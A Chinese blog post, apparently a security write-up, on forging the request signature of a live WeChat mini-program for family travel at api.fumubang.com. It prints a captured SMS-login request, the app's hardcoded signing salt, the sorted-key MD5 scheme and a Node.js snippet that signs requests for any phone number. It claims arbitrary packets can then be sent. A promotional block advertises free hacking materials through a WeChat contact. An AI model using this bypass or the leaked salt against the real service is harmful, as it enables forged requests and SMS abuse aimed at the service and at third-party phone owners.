之前看到了一篇文章【小程序繞過sign簽名思路】之前在做小程序滲透時也遇到了這種情況,但是直接放棄測試了,發現這種思路後,又遇到了這種情況,記錄下過程。
並沒有漏洞分享,僅僅是把小程序也分享出來,方便大家測試學習。
小程序 父母邦親子旅行酒店營地樂園活動。
在登錄時驗證碼登錄的數據包
POST /wxapp/login/send_messages?format=json HTTP/1.1 Host: api.fumubang.com Content-Length: 118 Xweb_xhr: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555 Content-Type: application/json Accept: */* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close {"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}
我們直接修改手機號,重放數據包。
提示簽名失敗。
打開對應的路徑 C:\Users\1\Documents\WeChat Files\Applet
將目錄下所有文件全部刪除 並重新打開小程序,此時生成的唯一文件夾,就是對應的該小程序的代碼。
對小程序進行反編譯
因爲有一些依賴於 wx 所以只能提供思路
我們看到 sign 的創建流程
所以只需要構造滿足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
就好啦。
初期思路是這樣子的
但是因爲存在 wx 的依賴,無法運行成功,但是加密是在本地處理的,這樣構造應該是不對的。
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
柳暗花明
我們加入調試
發現第一個請求的數據包 /wxapp/index/get_kefu_phone 不需要登錄就可以訪問到這個界面,同時界面裏也有 sign 參數。
利用微信開發者工具進行模擬操作。
加入斷點
繼續步入
可以添加字段 查看對應的值。
繼續步入
該函數首先創建一個空數組 e
,然後通過 Object.keys(r).sort()
獲取對象 r
的所有鍵,並進行排序。遍歷排序後的鍵數組,判斷鍵值是否符合特定條件,並將滿足條件的鍵值對拼接成字符串並存入數組 e
中。 最後得到的值是:
scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e
返回值爲 64d78d749828368851331593fa1e1ceb
就是對應字符串生成的 md5 的值。
我們修改一下數據包
發送成功。
修改手機號的數據包
將手機號修改後 提示簽名失敗。
phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e a90b19243e471d648d8eb5022d48066c phone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e 85a840e3674201f2606b8b65f914b912
所以我們把代碼稍微修改一下
"use strict"; var a = require("./md5.js"); var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988} i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); console.log(i);
成功破解了 sign 簽名,可以發送任意數據包。